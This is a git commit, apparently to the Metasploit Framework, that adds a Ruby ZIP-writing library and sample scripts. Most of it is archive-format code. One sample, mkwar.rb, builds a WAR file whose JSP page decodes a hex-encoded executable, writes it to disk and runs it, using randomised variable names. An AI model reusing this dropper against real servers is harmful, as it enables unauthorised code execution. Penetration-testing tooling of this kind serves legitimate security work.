add a zip implementation, Rex::Zip, see lib/rex/zip/samples for more info

git-svn-id: file:///home/svn/framework3/trunk@8439 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-02-10 17:27:40 +00:00
parent a241e0f949
commit 2c100083bf
8 changed files with 673 additions and 0 deletions

93
lib/rex/zip.rb Normal file
View File

@ -0,0 +1,93 @@
#!/usr/bin/env ruby
#
# Zip library
#
# Written by Joshua J. Drake <jduck [at] metasploit.com>
#
# Based on code contributed by bannedit, and the following SPEC:
# Reference: http://www.pkware.com/documents/casestudies/APPNOTE.TXT
#
require 'zlib'
module Rex
module Zip
ZIP_VERSION = 0x14
# general purpose bit flag values
#
# bit 0
GPBF_ENCRYPTED = 0x0001
# bits 1 & 2
# implode only
GPBF_IMP_8KDICT = 0x0002
GPBF_IMP_3SFT = 0x0004
# deflate only
GPBF_DEF_MAX = 0x0002
GPBF_DEF_FAST = 0x0004
GPBF_DEF_SUPERFAST = 0x0006
# lzma only
GPBF_LZMA_EOSUSED = 0x0002
# bit 3
GPBF_USE_DATADESC = 0x0008
# bit 4
GPBF_DEF_ENHANCED = 0x0010
# bit 5
GPBF_COMP_PATHCED = 0x0020
# bit 6
GPBF_STRONG_ENC = 0x0040
# bit 7-10 unused
# bit 11
GPBF_STRS_UTF8 = 0x0800
# bit 12 (reserved)
# bit 13
GPBF_DIR_ENCRYPTED = 0x2000
# bit 14,15 (reserved)
# compression methods
CM_STORE = 0
CM_SHRINK = 1
CM_REDUCE1 = 2
CM_REDUCE2 = 3
CM_REDUCE3 = 4
CM_REDUCE4 = 5
CM_IMPLODE = 6
CM_TOKENIZE = 7
CM_DEFLATE = 8
CM_DEFLATE64 = 9
CM_PKWARE_IMPLODE = 10
# 11 - reserved
CM_BZIP2 = 12
# 13 - reserved
CM_LZMA_EFS = 14
# 15-17 reserved
CM_IBM_TERSE = 18
CM_IBM_LZ77 = 19
# 20-96 reserved
CM_WAVPACK = 97
CM_PPMD_V1R1 = 98
# internal file attributes
IFA_ASCII = 0x0001
# bits 2 & 3 are reserved
IFA_MAINFRAME_MODE = 0x0002 # ??
# external file attributes
EFA_ISDIR = 0x0001
# various parts of the structure
require 'rex/zip/blocks'
# an entry in a zip file
require 'rex/zip/entry'
# the archive class
require 'rex/zip/archive'
end
end

91
lib/rex/zip/archive.rb Normal file
View File

@ -0,0 +1,91 @@
##
# $Id$
##
module Rex
module Zip
#
# This represents an entire archive.
#
class Archive
def initialize(compmeth=CM_DEFLATE)
@compmeth = compmeth
@entries = []
end
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
if (not fdata)
begin
st = File.stat(fname)
rescue
return nil
end
ts = st.mtime
if (st.directory?)
attrs = EFA_ISDIR
fname += '/'
else
f = File.open(fname, 'rb')
fdata = f.read(f.stat.size)
f.close
end
end
@entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment)
end
def set_comment(comment)
@comment = comment
end
def save_to(fname)
f = File.open(fname, 'wb')
f.write(pack)
f.close
end
def pack
ret = ''
# save the offests
offsets = []
# file 1 .. file n
@entries.each { |ent|
offsets << ret.length
ret << ent.pack
}
# archive decryption header (unsupported)
# archive extra data record (unsupported)
# central directory
cfd_offset = ret.length
idx = 0
@entries.each { |ent|
cfd = CentralDir.new(ent, offsets[idx])
ret << cfd.pack
idx += 1
}
# zip64 end of central dir record (unsupported)
# zip64 end of central dir locator (unsupported)
# end of central directory record
cur_offset = ret.length - cfd_offset
ret << CentralDirEnd.new(@entries.length, cur_offset, cfd_offset, @comment).pack
ret
end
end
end
end

182
lib/rex/zip/blocks.rb Normal file
View File

@ -0,0 +1,182 @@
##
# $Id$
##
module Rex
module Zip
#
# This structure holds the following data pertaining to a Zip entry's data.
#
# data crc
# compressed size
# uncompressed size
#
class CompInfo
def initialize(crc, compsz, uncompsz)
@crc, @compsz, @uncompsz = crc, compsz, uncompsz
end
def pack
[ @crc, @compsz, @uncompsz ].pack('VVV')
end
end
#
# This structure holds the following data pertaining to a Zip entry.
#
# general purpose bit flag
# compression method
# modification time
# modification date
#
class CompFlags
attr_accessor :compmeth
def initialize(gpbf, compmeth, timestamp)
@gpbf = gpbf
@compmeth = compmeth
@mod_time = ((timestamp.hour << 11) | (timestamp.min << 5) | (timestamp.sec))
@mod_date = (((timestamp.year - 1980) << 9) | (timestamp.mon << 5) | (timestamp.day))
end
def pack
[ @gpbf, @compmeth, @mod_time, @mod_date ].pack('vvvv')
end
end
#
# This structure is sometimes stored after the file data and used
# instead of the fields within the Local File Header.
#
class DataDesc
SIGNATURE = 0x8074b50
def initialize(compinfo)
@compinfo = compinfo
end
def pack
ret = [ SIGNATURE ].pack('V')
ret << @compinfo.pack
ret
end
end
#
# This structure records the compression data and flags about
# a Zip entry to a file.
#
class LocalFileHdr
SIGNATURE = 0x4034b50
def initialize(entry)
@entry = entry
end
def pack
path = @entry.relative_path
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
ret << @entry.flags.pack
ret << @entry.info.pack
ret << [ path.length, @entry.xtra.length ].pack('vv')
ret << path
ret << @entry.xtra
ret
end
end
#
# This structure holds all of the information about a particular Zip Entry
# as it is contained within the central directory.
#
class CentralDir
SIGNATURE = 0x2014b50
def initialize(entry, offset)
@entry = entry
@disknum_start = 0
@attr_int = 0
@attr_ext = 0x20
@hdr_offset = offset
end
def pack
path = @entry.relative_path
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
ret << [ ZIP_VERSION ].pack('v')
ret << @entry.flags.pack
ret << @entry.info.pack
arr = []
arr << path.length
arr << @entry.xtra.length
arr << @entry.comment.length
arr << @disknum_start
arr << @attr_int
arr << @entry.attrs
arr << @hdr_offset
ret << arr.pack('vvvvvVV')
ret << path
ret << @entry.xtra
ret << @entry.comment
# digital signature not supported
ret
end
end
#
# This structure is written after the per-entry central directory records to
# provide information about the archive as a whole.
#
class CentralDirEnd
SIGNATURE = 0x6054b50
def initialize(ncfd, cfdsz, offset, comment=nil)
@disk_no = 0
@disk_dir_start = 0
@ncfd_this_disk = ncfd
@ncfd_total = ncfd
@cfd_size = cfdsz
@start_offset = offset
@comment = comment
@comment ||= ''
end
def pack
arr = []
arr << SIGNATURE
arr << @disk_no
arr << @disk_dir_start
arr << @ncfd_this_disk
arr << @ncfd_total
arr << @cfd_size
arr << @start_offset
arr << @comment.length
(arr.pack('VvvvvVVv') + @comment)
end
end
end
end

89
lib/rex/zip/entry.rb Normal file
View File

@ -0,0 +1,89 @@
##
# $Id$
##
module Rex
module Zip
class Entry
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil)
@name = fname
@data = data
@xtra = xtra
@xtra ||= ''
@comment = comment
@comment ||= ''
@attrs = attrs
@attrs ||= 0
# XXX: sanitize timestmap (assume now)
timestamp ||= Time.now
@flags = CompFlags.new(0, compmeth, timestamp)
if (@data)
compress
else
@data = ''
@info = CompInfo.new(0, 0, 0)
end
@compdata ||= ''
end
def compress
@crc = Zlib.crc32(@data, 0)
case @flags.compmeth
when CM_STORE
@compdata = @data
when CM_DEFLATE
z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
@compdata = z.deflate(@data, Zlib::FINISH)
z.close
@compdata = @compdata.slice!(2, @compdata.length-4)
else
raise 'Unsupported compression method: %u' % @flags.compmeth
end
@info = CompInfo.new(@crc, @compdata.length, @data.length)
end
def relative_path
if (@name[0,1] == '/')
return @name[1,@name.length]
end
@name
end
def pack
ret = ''
# - lfh 1
lfh = LocalFileHdr.new(self)
ret << lfh.pack
# - data 1
if (@compdata)
ret << @compdata
end
if (@gpbf & GPBF_USE_DATADESC)
# - data desc 1
dd = DataDesc.new(@info)
ret << dd.pack
end
ret
end
end
end
end

25
lib/rex/zip/samples/comment.rb Executable file
View File

@ -0,0 +1,25 @@
#!/usr/bin/env ruby
#
# Create a zip file with comments!
#
require 'zip'
# example usage
zip = Zip::Archive.new
zip.add_file("elite.txt", "A" * 1024, nil, %Q<
+---------------+
| file comment! |
+---------------+
>)
zip.set_comment(%Q<
+------------------------------------------+
| |
| Hello! This is the Zip Archive comment! |
| |
+------------------------------------------+
>)
zip.save_to("lolz.zip")

130
lib/rex/zip/samples/mkwar.rb Executable file
View File

@ -0,0 +1,130 @@
#!/usr/bin/env ruby
#
# Create a WAR archive!
#
require 'zip'
def rand_text_alpha(len)
buff = ""
foo = []
foo += ('A' .. 'Z').to_a
foo += ('a' .. 'z').to_a
# Generate a buffer from the remaining bytes
if foo.length >= 256
len.times { buff << Kernel.rand(256) }
else
len.times { buff << foo[ rand(foo.length) ] }
end
return buff
end
exe = "exe " * 1024
var_payload = "var_payload"
var_name = "var_name"
zip = Zip::Archive.new
# begin meta-inf/
minf = [ 0xcafe, 0x0003 ].pack('Vv')
zip.add_file('META-INF/', nil, minf)
# end meta-inf/
# begin meta-inf/manifest.mf
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
zip.add_file('META-INF/MANIFEST.MF', mfraw)
# end meta-inf/manifest.mf
# begin web-inf/
zip.add_file('WEB-INF/', '')
# end web-inf/
# begin web-inf/web.xml
webxmlraw = %q{<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
webxmlraw.gsub!(/NAME/, var_name)
webxmlraw.gsub!(/PAYLOAD/, var_payload)
zip.add_file('WEB-INF/web.xml', webxmlraw)
# end web-inf/web.xml
# begin <payload>.jsp
var_hexpath = rand_text_alpha(rand(8)+8)
var_exepath = rand_text_alpha(rand(8)+8)
var_data = rand_text_alpha(rand(8)+8)
var_inputstream = rand_text_alpha(rand(8)+8)
var_outputstream = rand_text_alpha(rand(8)+8)
var_numbytes = rand_text_alpha(rand(8)+8)
var_bytearray = rand_text_alpha(rand(8)+8)
var_bytes = rand_text_alpha(rand(8)+8)
var_counter = rand_text_alpha(rand(8)+8)
var_char1 = rand_text_alpha(rand(8)+8)
var_char2 = rand_text_alpha(rand(8)+8)
var_comb = rand_text_alpha(rand(8)+8)
var_exe = rand_text_alpha(rand(8)+8)
var_hexfile = rand_text_alpha(rand(8)+8)
var_proc = rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "%>\n"
zip.add_file("#{var_payload}.jsp", jspraw)
# end <payload>.jsp
# begin <payload>.txt
payloadraw = exe.unpack('H*')[0]
zip.add_file("#{var_hexfile}.txt", payloadraw)
# end <payload>.txt
zip.save_to("test.war")

12
lib/rex/zip/samples/mkzip.rb Executable file
View File

@ -0,0 +1,12 @@
#!/usr/bin/env ruby
#
# Add a file from memory and save it.
#
require 'zip'
# example usage
zip = Zip::Archive.new
zip.add_file("elite.txt", "A" * 1024)
zip.save_to("lolz.zip")

View File

@ -0,0 +1,51 @@
#!/usr/bin/env ruby
require 'zip'
out = "test.zip"
dir = "/var/www"
def add_file(zip, path)
zip.add_file(path)
end
#
# If it's a directory, Walk the directory and add each item
#
def add_files(zip, path, recursive = nil)
if (not add_file(zip, path))
return nil
end
if (recursive and File.stat(path).directory?)
begin
dir = Dir.open(path)
rescue
# skip this file
return nil
end
dir.each { |f|
next if (f == '.')
next if (f == '..')
full_path = path + '/' + f
st = File.stat(full_path)
if (st.directory?)
puts "adding dir #{full_path}"
add_files(zip, full_path, recursive)
elsif (st.file?)
puts "adding file #{full_path}"
add_file(zip, full_path)
end
}
end
end
zip = Zip::Archive.new
add_files(zip, dir, TRUE)
zip.save_to(out)